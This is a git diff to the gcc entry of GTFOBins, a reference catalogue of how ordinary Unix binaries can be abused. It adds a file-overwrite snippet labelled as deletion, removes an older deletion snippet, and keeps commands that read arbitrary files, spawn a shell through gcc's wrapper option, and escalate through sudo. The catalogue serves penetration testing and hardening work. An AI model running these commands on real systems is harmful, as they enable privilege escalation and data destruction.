diff --git a/_gtfobins/gcc.md b/_gtfobins/gcc.md index acea39a..21c7012 100644 --- a/_gtfobins/gcc.md +++ b/_gtfobins/gcc.md @@ -4,11 +4,12 @@ functions: - code: | LFILE=file_to_read gcc -x c -E "$LFILE" + file-write: # XXX this should be file-delete + - code: | + LFILE=file_to_delete + gcc -xc /dev/null -o $LFILE shell: - code: gcc -wrapper /bin/sh,-s . sudo: - code: sudo gcc -wrapper /bin/sh,-s . - file-delete: - - code: | - echo "int main(){printf(\" Hello \");return 0;}" > /tmp/oye.c ; gcc -nostdlib /tmp/oye.c -o [FILE-TO-DELETE] . ---